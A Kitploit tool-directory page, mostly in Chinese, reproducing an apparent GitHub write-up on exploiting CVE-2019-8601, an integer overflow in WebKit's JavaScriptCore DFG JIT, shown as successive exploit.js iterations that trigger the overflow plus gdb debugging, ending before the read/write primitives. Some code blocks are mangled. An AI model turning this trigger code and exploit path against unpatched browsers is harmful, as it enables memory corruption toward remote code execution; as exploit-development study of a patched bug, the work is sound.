Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-8601 — 利用 JavaScriptCore 中已修补的漏洞 | Kitploit
工具/GitHubGitHub/badaccess11/cve-2019-8601
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发二进制利用
GitHubbadaccess11/cve-2019-8601

CVE-2019-8601

利用 JavaScriptCore 中已修补的漏洞

查看仓库
17346年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

利用 CVE-2019-8601

这是一个针对 WebKit 漏洞的利用代码,该漏洞最初由 Fluoroacetate 在温哥华的 pwn2own 比赛中发现。虽然这个漏洞不是我发现的,但我编写这个利用代码是为了练习我的漏洞利用开发技能。该漏洞的原始分析文章 在此,来自 Zero Day Initiative。虽然这篇分析文章写得很好,并且对我理解漏洞非常有帮助,但它是从验证漏洞的角度出发的。我发现,在从头开始编写利用代码时,一些关键细节是缺失的,我希望填补 ZDI 分析文章中遗漏的一些空白,并获得如何从头设计一个复杂利用代码的实用技能。

利用步骤

以下步骤概述了在 JavaScriptCore (JSC)(WebKit 的 JavaScript 引擎)中实现任意代码执行的过程。

  • 识别漏洞
  • 触发漏洞并在开启 ASAN 的情况下崩溃
  • 获取 leakAddr 和 fakeObj 原语
  • 破坏数组 butterfly 以实现读写原语
  • 利用读写原语在 JSC 中实现任意代码执行

识别漏洞

将被利用的漏洞是一个整数溢出,发生在 WebKit 的 DFG 即时 (JIT) 编译器生成的代码中。具体发生在 compileNewArrayWithSpread 函数中。当使用 JavaScript 展开语法 创建新数组的代码被 DFG 进行 JIT 编译时,将调用此函数。

compileNewArrayWithSpread

在 JIT 编译后的代码中,首先会计算数组的大小。它通过将传递给数组构造函数的每个参数的长度相加来实现这一点。在计算每个相加结果的大小时,它会检查大小是否溢出。之后,它会调用 compileAllocateNewArray 函数,并将在此函数中计算出的长度传递给它。

compileAllocateNewArrayWithSize

然后 compileAllocateNewArray 会将之前计算出的长度传递给 emitAllocateButterfly。

emitAllocateButterfly

emitAllocateButterfly 随后会将大小左移 3 位,相当于乘以 8。然而,这里没有对溢出进行检查,因此像 0x20000001 这样的数字可能会溢出为 0x8。

以下 C 程序演示了此漏洞:

overflow-example2

overflow-example

我们可以利用此漏洞欺骗 JavaScript 引擎,使其认为我们分配了一个大小为 0x20000001 的数组,但实际上只分配了容纳 1 个 JSValue(8 字节)的空间。这将导致越界 (OOB) 读写原语,进而可用于实现任意读写,并最终实现远程代码执行 (RCE)。

  • 识别漏洞

    使用 ASAN 触发漏洞

为了确认我们拥有 OOB 读取能力,我们将尝试在此前编译 WebKit 时开启了地址消毒器 (ASAN) 的版本上触发此漏洞。

为此,在 WebKit 目录下我们可以运行以下命令:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug

这将构建一个启用了ASAN的JSC调试版本,使我们能够验证是否成功触发了该漏洞。

以下是exploit.js的第一个迭代版本。```javascript
function jitMe(array){
  return [...array]
}

let dummy = [1.1]
for(let i = 0; i < 200; i++){
  jitMe(dummy);
}

let a = []

let len = 0x20000001                                                                     

for(let i = 0; i < len; i++){
  a[i] = 1.1 
}

jitMe(a)

运行此命令时出现以下错误:

Program terminated with signal SIGKILL, Killed. The program no longer exists.

我猜测是在尝试分配如此大的数组时消耗了过多内存。为了确认这一点,我在 JITed 代码中添加了一个断点,方法是在 compileNewArrayWithSpread 中调用 m_jit.breakpoint(),该调用会向 JITed 代码添加一条 int3 指令。

添加断点后,我发现它没有被触发,于是决定测试长度为 0x20001。随后我意识到代码甚至没有被编译,所以我增加了更多迭代次数来激活 DFG 编译器。```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }

let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000001

for(let i = 0; i < len; i++){ a[i] = 1.1 }

jitMe(a)

Testing the program as is still leads to the SIGKILL however, when testing with a smaller length, the breakpoint gets hit. At this point it still seems to me that JSC is running out of memory when trying to process that huge array.

In order to deal with this, I decided to allocate a smaller `a` array and then use the spread syntax to use it multiple times when creating the corrupted array resulting in the following exploit.js```
function jitMe(array){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}

let dummy = [1.1]
for(let i = 0; i < 100; i++){
  print(i)
  jitMe(dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

jitMe(a)

使用这段代码,我们成功命中了断点,没有触发 SIGKILL!但像往常一样,修复一个问题又引出了另一个问题,我们收到了 SIGABORT……通过 gdb 的 bt 命令,我们可以看到调用了 operationNewArrayWithSize,进而调用了 create。backtrace1

我们的 JIT 代码会调用 operationNewArrayWithSize 似乎很奇怪,这一定是 JIT 代码由于某种原因不得不走慢路径到 JavaScript 引擎。

slowcases

在 compileAllocateNewArrayWithSize 中,我们可以看到确实有退出到 operationNewArrayWithSize 的情况。然后我们需要找出到底是什么原因导致我们退出到慢路径。

在 compileNewArrayWithSpread 中,我们看到 shouldConvertLargeSizeToArrayStorage 被设置为 false,并且该慢路径不会出现在编译后的代码中。compileNewArrayWithSpread2

因此,慢路径是在 emitAllocateJSObject 中的某个位置被命中的,这很合理。

emitAllocateJSObject

emitAllocateJSObject 调用了 emitAllocateJSCell,而 emitAllocateJSCell 又调用了 emitAllocate。

emitAllocate

emitAllocateWithNonNullAllocator

由于对 WebKit 分配器的工作原理一无所知,这看起来相当令人困惑。因此,我决定添加几个断点,并在 gdb 中逐步执行。

在命中了 emitAllocateVariableSized(由 emitAllocateButterfly 调用)中设置的断点后,我们看到以下汇编代码:assemblyEmitAllocateVariableSized

这对应 JIT 编译器在此处发出的代码:emitAllocateVariableSized

我们可以看到,分配大小先加上 0xf,然后右移 4 位。然后将其与 0x1f6 进行比较,对应慢路径分支。之后,它将子空间分配器移动到 rsi,并根据执行的计算,以该指针为索引进行索引。然后我们继续到放置在 emitAllocateWithNonNullAllocator 中的断点,找到以下汇编代码:

assemblyEmitAllocateWithNonNullAllocator.png

这对应 JIT 编译器在此处发出的代码:emitAllocateWithNonNullAllocator

现在我们已经逐步执行了一些汇编代码,对正在发生的事情有了更多了解。再执行两条指令后,我们看到将会执行跳转:

stepFoward2

查看 C++ 代码,我们可以推断这意味着该分配器的空闲列表中没有剩余空间,因此它将走 pop 路径。

jumpPerformed

执行跳转并执行接下来的两条指令,我们看到跳转直接对应着走慢路径。之所以走慢路径,是因为分配器的秘密值与分配器的混乱头部进行了异或,结果为零。在不了解更多关于 WebKit 分配器知识的情况下,很难确切弄清楚发生了什么。

虽然我很想花更多时间学习 WebKit 分配器,但我想一个更简单的方法是尝试几个想法,看看它们是否会带来不同的结果,然后在此基础上进行调试。

我的一个想法是分配一个大小为 0x10 的数组,因为它将与触发漏洞的数组处于相同的分配步长中,然后调用 jitMe,并传入一个大小为 1 的数组。由于我们知道分配器的地址,我们可以设置一个监视点,监视那些导致分支的值,观察它们何时发生变化。我之所以有这个想法,是因为我认为分配一个处于相同步长中的对象可能会使分配器进入一个不同且更有趣的状态。这引出了 exploit.js 的下一个迭代。```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array] }

let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){ a[i] = 1.1 }

let x = new Array(0x10) let b = [1.1]

下载工具